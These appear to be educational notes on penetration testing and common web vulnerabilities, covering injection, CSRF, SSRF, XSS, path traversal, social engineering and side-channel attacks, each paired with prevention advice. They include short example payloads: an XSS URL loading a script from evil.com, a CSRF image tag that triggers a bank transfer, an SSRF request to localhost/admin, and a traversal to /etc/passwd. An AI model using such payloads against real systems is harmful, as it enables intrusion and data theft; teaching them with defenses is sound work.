Penetration test

What it’s about

* What: authorized simulated cyberattack
* Goal: evaluate system security
* Scope: what parts of the system / architecture are allowed to be tested

Types of tests

* Black-box
  + No knowledge of architecture
  + No access to source code
  + Exploits available from outside the system
    - Internal vulnerabilities might not be discovered
* Gray-box
  + User knowledge and access
  + Could have elevated permissions
  + Could have access to internal network
* White-box
  + Access to architecture
  + Access to source code
  + Time consuming, because a lot of data to process

Vulnerabilities

Injections

* User supplied data is not validated, filtered or sanitized
* User data is used in dynamic queries
* User data is used directly in an interpreter
* Examples:
  + SQL injection
  + LDAP injection
  + CRLF injection
  + Command injection
* Prevention:
  + Use of safe APIs (e.g., prepared statements for SQL)
  + Input validation (e.g., whitelist)
  + Escape special characters

Cross Site Request Forgery (CSRF)

* Trick victim into submitting malicious request
* Cookie-based session handling – Browser automatically include user’s credentials (e.g., session cookie)
* Bank transfer can be used as follows: GET http://bank.com/transfer.do?acct=BOB&amount=10
* Trick Alice into making a transfer (on another website): <img src=” <http://bank.com/transfer.do?acct=EVE&amount=10000000>”>
* Prevention:
  + CSRF Tokens on all state changing requests
    - Unique per session (tied to user)
    - Unpredictable
    - Validated

Server-Side Request Forgery (SSRF)

* Abuse the functionality of a server to make request to unintended locations, e.g., internal network
* Web application uses the user supplied URL to query, for example and internal REST server. The user can change this URL to include files or query other services
* Example:
  + Original: <website>/?url=example.com/api/request
  + Attack: <website>/?url=http://localhost/admin
* Prevention:
  + Sanitize and validate client data
  + Enforce URL schema and port
  + Do not send the raw response
  + Disable http redirection

Cross-site scripting (XSS)

* Type of injection attack
* Inject malicious scripts into trusted websites
  + Steal private data
  + Change the website
* Stored:
  + Injected script is permanently stored on target servers (e.g., in database)
  + Post a message on a forum that includes JavaScript
* Reflected:
  + Data is received in a HTTP request and that data is included in the response in an unsafe way (e.g., via URL query parameters)
  + http://website/comment?message=<script src=”http://evil.com/hack.js”></script>
* Prevention:
  + Filter on arrival and encode on output
  + Use Content Security Policy

Path Traversal

* Read arbitrary files on the server
* Example:
  + Images are loaded in the following way: <img src=”/loadImage?filename=218.png”>
  + Attack: <img src=”/loadImage?filename=…/…/…/etc/passwd”>
* Prevention:
  + Do not pass user-supplied input to the file system
  + Validate user input and only append to root directory (public directory)
  + Verify after creating the new path that is still start with the expected root directory

Social Engineering

* The psychological manipulation of people into performing actions or divulging confidential information
* Not a technical attack, but attacks the human itself
* Techniques:
  + Baiting: using a false promise to pique the victim’s greed or curiosity
    - Leaving an USB with malware on the parking lot
  + Scareware: scare the user into taking action they would not normally do
    - Popup banner informing the victim that the computer is infected with malware
  + Pretexting: establish trust with the victim by impersonating a right-to-know authority
    - Pretending to be someone from the victim’s bank
  + Phishing: Email / text message campaign tricking victims into taking action
    - Email informing you that some tried to login into your account
  + Spear phishing: targeted version of phishing against a specific victim

Side Channel Attacks

Definition

Side-channel attack is any attack based on information gained from the implementation of a computer system, rather than weaknesses in the implemented algorithm itself.

Becoming a bigger thread:

* Better measuring equipment
* Greater computing power
* Machine learning to extract information from raw data

Electromagnetic

* Measure the electromagnetic radiation, or radio waves, given off by a target device to reconstruct the internal signals
* Used in the past to reconstruct images from CRT monitors
* Steal AES encryption key from up to one meter

Timing

* Attacks based on measuring how much time various computations take to perform
* Password check, comparing character by character
* Observing how long it takes to perform cryptographic operations
* Some timing attacks are even proven to work across networks

Power consumption

* Cryptography is energy intensive, and that energy can be measured and analysed
* Proven to recover keys from RSA, AES, etc

Acoustic

* Attack sound that is generated during computing
* Attack sound from external factors (e.g., keyboard)
* Successful attack against a laptop running a version of GnuPG (an RSA implementation) using a mobile phone located to the laptop
* Successful attack using a neural network against keyboard acoustic
* Successful attack against printers